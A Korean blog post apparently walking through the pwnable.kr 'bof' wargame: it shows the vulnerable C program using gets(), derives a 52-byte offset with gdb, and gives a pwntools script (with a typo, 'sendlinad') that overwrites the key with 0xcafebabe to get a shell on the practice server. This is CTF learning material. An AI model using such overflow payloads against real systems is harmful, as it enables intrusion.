일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- disk
- Android
- Frida
- Interceptor
- ZIP
- crack
- tar
- 디스크
- 파일해시생성
- CodeEngn
- K-sheild Jr
- Reversing
- 안티디버깅
- 침해사고대응
- 포렌식
- John the ripper
- Multimedia
- upx
- SW에듀서포터즈
- Mobile
- 모바일프로그래밍
- 리버싱핵심원리
- swing
- K-shield Jr 10기
- ctf-d
- Autoware
- 써니나타스
- 케쉴주
- shadow
- Today
- Total
물먹는산세베리아
[pwnable.kr] bof 본문
문제
nc pwnable.kr 9000
풀이
일단 실행해서 아무거나 넣어봄
overflowme에 입력하면 될 거 같다.
bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
버퍼오버플로우 문제
func()에서 넘어온 key가 0xcafebabe와 일치하면 쉘이 따진다. 입력받는 곳이 gets()인데 여기에 비교할 값을 그냥 넣으면 안되고 key와 비교하는 거니까 key위치에 넣어지도록 추가적으로 더 입력해야한다.
참고로 gets()는 개행문자나 파일의 끝을 만나기 전까지 계속 입력을 받을 수 있기 때문에 할당된 크기(ex. overflowme[32])를 넘어서 입력이 가능하다.
입력받을 때 임의의 값을 추가로 넣어 key가 있는 곳까지 덮어버린 후 key가 있는 자리에는 비교값인 0xcafebabe를 넣어주면 된다. ->key값이 바뀜
그러면 얼마나 덮어야 할까? gdb로 까보자
call은 전부 함수가 호출된 곳이다. func()에 들어있는 printf(), gets(), system(), printf()함수를 확인할 수 있다.
eax는 산술연산레지스터 이므로 overflowme의 시작주소는 ebp-0x2c임을 알 수 있고, cmp는 비교명령어 이므로 ebp+0x8이 key의 위치임을 알 수 있다. 이 두 주소의 거리를 계산하면 얼마나 덮어야 하는지 나온다.
ebp+0x8 - (ebp -0x2c) = 8 + 44 = 52
아무 글자나 52만큼 넣어준 다음 0xcafebabe를 넣어주면 된다.
payload.py
from pwn import *
p = remote("pwnable.kr", 9000);
payload = "A"*52 + "\xbe\xba\xfe\xca"
p.sendlinad(payload)
p.interactive()
리틀엔디안 방식을 따르기 때문에 역순으로 넣어주어야 한다. cafebabe-> bebafeca
'Waregame & CTF > Pwnable' 카테고리의 다른 글
[dreamhack.io] basic_rop_x86 (0) | 2021.05.26 |
---|---|
ROP (0) | 2021.05.26 |
[dreamhack.io] basic_exploitation_001 (0) | 2021.05.19 |
collision 문제 (0) | 2021.05.05 |